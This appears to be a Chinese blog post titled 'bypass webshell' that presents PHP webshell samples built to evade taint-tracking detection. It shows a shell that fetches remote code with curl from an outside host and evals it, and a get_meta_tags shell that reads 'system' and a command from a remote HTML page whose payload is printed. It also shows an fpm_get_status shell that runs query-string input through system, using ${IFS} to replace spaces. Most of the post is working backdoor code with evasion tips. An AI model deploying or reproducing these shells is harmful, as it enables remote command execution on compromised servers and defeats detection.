bypass webshell 1

客户端请求:192.168.37.136/bypass的网站目录

服务器接收:192.168.37.132的nginx网站目录

1 curl请求外部数据

不是get post cookie传参,污点未启动

<?php
$url="http://192.168.37.132/demo1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);

通过url请求外部数据,绕过污点追踪

测试结果:

2 get_meta_tags 引入参数

get_meta_tags 函数会对给定 url 的 meta 标签进行解析,自然也会发起 URL 请求。对
于能够发起外连的服务器来说,这个 PHP WebShell 样本是极具迷惑性的。
不过,之前 CURL 的被忽略了,这个我也就没有再提交。
此时,目标服务器上需要有相应的文件配合:
get_meta_tags:能提取对应name的content里面的内容
<?php
get_meta_tags("http://192.168.37.132/demo2.txt")["author"](get_meta_tags("http://192.168.37.132/demo2.txt")["keywords"]);
?>

所以我的服务器的payload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <meta name="author" content="system">
      <meta name="keywords" content="ls">
    <title>Document</title>
</head>
<body>
</body>
</html>
<meta name="author" content="system">
<meta name="keywords" content="ls">
通过动态修改该文件第二行的内容,可以给 system 传入不同的参数,参数内容是完全
可控的。

3 fpm_get_status

<?php
echo '<pre>';
var_dump(fpm_get_status());
system(fpm_get_status()["procs"][0]["query-string"]);
?>

这个函数是php-fpm请求的函数,这个数组里面有一个参数是query-string,相当于这里直接是给参数的这个值get传参,如果想写值,用echo写入的话,因为空格是%20当他传入Linux的时候不会解析,但是我们知道Linux里面的空格是{$IFS},但是直接在url栏写也不对,所以我们通过抓包的形式:成功写入(绕过空格)

空格限制

利用query_srting传入需要的命令,特别注意空格的影响,Linux下面可以利用${IFS}来替代空格

${IFS}$(1-9都可以)

综上:

污点追踪,他基于效率不会追踪所有的函数,像前三个webshell一般不会被杀,但是像我们的回调后门,call_user_func一定会被杀

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值